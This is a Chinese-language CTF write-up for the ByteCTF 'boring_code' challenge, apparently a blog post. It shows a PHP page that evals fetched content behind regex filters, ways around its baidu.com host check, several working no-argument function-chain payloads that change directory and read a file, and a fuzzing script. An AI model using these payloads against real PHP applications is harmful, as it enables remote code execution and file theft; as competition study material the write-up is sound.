PHP 无参数实现 RCE - boring_code

bytectf boring_code

F12 注释中可以看到 flag 在 index.php 文件中,而/code/index.php中直接给出了源码:

<?php
function is_valid_url($url) {
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        if (preg_match('/data:\/\//i', $url)) {
            return false;
        }
        return true;
    }
    return false;
}

if (isset($_POST['url'])){
    $url = $_POST['url'];
    if (is_valid_url($url)) {
        $r = parse_url($url);
        if (preg_match('/baidu\.com$/', $r['host'])) {
            $code = file_get_contents($url);
            if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        } else {
            echo "error: host not allowed";
        }
    } else {
        echo "error: invalid url";
    }
}else{
    highlight_file(__FILE__);
}

首先会先用正则判断我们传入的 URL,通过后会 file_get_contents 请求 URL,同时对返回的内容进行了限制,最后 eval 执行。这里很容易在网上找到两篇关于 parse_urlfile_get_contents 进行 SSRF 的文章:

文章中是给出了两种方式:parse_url 和 curl、file_get_contents 和 PHP 伪协议。其中伪协议靠的是 data 协议中类似 data:text/plain,其 : 后的内容可以任意替换,而题目刚好 WAF 了 data,其余的协议又没有这个特性。针对第一部分有如下三种解决方案:

  1. 氪金注册域名 evilbaidu.com;

  2. 使用 ftp 协议,ftp://ip:port,baidu.com:80/filename.txt;

  3. 百度任意跳转的漏洞 post.baidu.com; (参考链接

file_get_contents 获取到的内容会进入正则替换,?R 循环匹配并替换[a-z]() 为空。最后剩下一个;,即我们的 payload 必须要是 a(b(c())); 这样的 PHP 函数嵌套的形式。这里限制了两点:

  1. 函数名不能带有 _

  2. 函数内不能传入常量参数;

fuzz 可以使用的 PHP 内置函数:

<?php
// var_dump(gettype(get_defined_functions())); -> array
// var_dump(count(get_defined_functions()["internal"])); -> 1276
// var_dump(preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', '1')); -> int(0)

$func = get_defined_functions()["internal"];
$_func = array();
$_i = 0;

foreach ($func as $key => $value) {
    if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $value)) {
        $_func[$_i] = $value;
        $_i++;
    }
}

print_r($_func);

当前位置为 /code/index.php,flag 位于 index.php想办法构造出上层目录文件的绝对路径,然后去读取它(因为 path 被过滤,无法用 realpath() 函数来返回绝对路径);或可以采用把目录切换到上级目录,然后再读取。可以构造出 . 这个字符,来代表当前所在的目录。因为只有一个字符,因此可以借助 ord()chr() 函数来构造。

time()

chr() 函数需要传入一个数字,并取模 256 后根据 ASCII 码返回对应的字符。这里我们可以使用 time() 函数来返回当前时间戳数字,当 time() 为 46 时,chr(46)是 . 。time() 循环一轮,即 256 秒是 4 分钟左右,只要在当前时间戳取模为 46 的时候发送请求就能获取到 . 字符。

# var_dump(scandir('.'));
array(3) {
  [0]=> string(1) "."
  [1]=> string(2) ".."
  [2]=> string(9) "index.php"
}

next() 函数来使数组指针后移,使其指向 ..,即上一层目录。然后就可以套一层chdir()来切换当前目录了。

chdir(next(scandir(chr(ord(chr(time()))))))

切换到上层目录后,即可开始读取 index.php 的内容。首先显示选取到 index.php 这个文件,和上面的方法一样,用 time() 以及 chr() 构造出字符.,然后用 scandir() 来读取目录下的文件内容:

array(4) {
  [0]=> string(1) "."
  [1]=> string(2) ".."
  [2]=> string(4) "code"
  [3]=> string(9) "index.php"
}

注意这里返回数组中,是按照文件名首字母的顺序来排序的,因此 index.php 会在最后一个,用 end() 函数来获取数组的最后一个元素,即取到了index.php。

之后使用 file() 函数来读取文件内容。要注意的是,PHP 的很多文件操作函数返回或入参是文件句柄,这在本题中是无法使用的。file() 函数的返回值是数组,而 echo() 和 print() 函数无法输出数组的内容,这里我想到了使用 PHP 序列化函数 serialize() 来将数组的值序列化为字符串后输出。

echo(serialize(file(end(scandir(chr(ord(chr(time()))))))))

最终 payload:

echo(serialize(file(end(scandir(chr(ord(chr(time(chdir(next(scandir(chr(ord(chr(time())))))))))))))));

phpversion()

构造出 . 即可扫描当前目录:

var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));

之后就是使用 chdir 函数进行跳到上一级目录,但是跳完还有一个问题,就是该怎么再次获取一个 . 出来,chdir 函数的返回值是布尔值,那么之后就将布尔值 True 作为参数放在 fuzzer 中看能得到什么结果,最后 fuzz 轮次不一样时发现 time 函数返回的结果也不一样,随后查了一下手册,便意识到可以使用这种方式来进行构造一个 46 出来,所以构造出如下 payload:

localtime(time(1))

最终 payload:

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));

localeconv()

localeconv() 函数返回一包含本地数字及货币格式信息的数组。其返回的数组元素中包含 [decimal_point] - 小数点字符。

php > var_dump(localeconv());
array(18) {
  ["decimal_point"]=> string(1) "."
  ["thousands_sep"]=> ...}

pos() 输出数组中的当前元素的值:

php > var_dump(pos(localeconv()));
string(1) "."

Payload:

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

hash 特性

Payload:

readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));

原理:hebrevc(crypt(arg)) 可以随机生成一个 hash 值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过ord、chr只取第一个字符

php > var_dump(hebrevc(crypt(phpversion())));
string(34) ".$1$zEHuomrO$cXgJopOzWROGwYb.gyDRl"
php > var_dump(chr(ord(".$1$zEHuomrO$cXgJopOzWROGwYb.gyDRl")));
string(1) "."

Payload 2:

crypt(serialize(array())) 原理同上,用于生成 .

if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));

fuzz fliter:

<?php
error_reporting(0);
// var_dump(gettype(get_defined_functions())); -> array
// var_dump(count(get_defined_functions()["internal"])); -> 1276
// var_dump(preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', '1')); -> int(0)

$func = get_defined_functions()["internal"];
$_func = array();
$_i = 0;

foreach ($func as $key => $value) {
    if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $value)) {
        $_func[$_i] = $value;
        $_i++;
    }
}

// print_r($_func);

try {
    foreach ($_func as $f) { 
        if(!is_null($f())) {
            echo $f."\n";
        }
        // if (var_dump(print_r($f(chr(46))))) {
        //     echo $f;
        // }
    }
} catch (Throwable $th) {
    //throw $th;
}

- 参考 -

[1] 2019 bytectf writeup

[2] Byte CTF web1 boring_code Writeup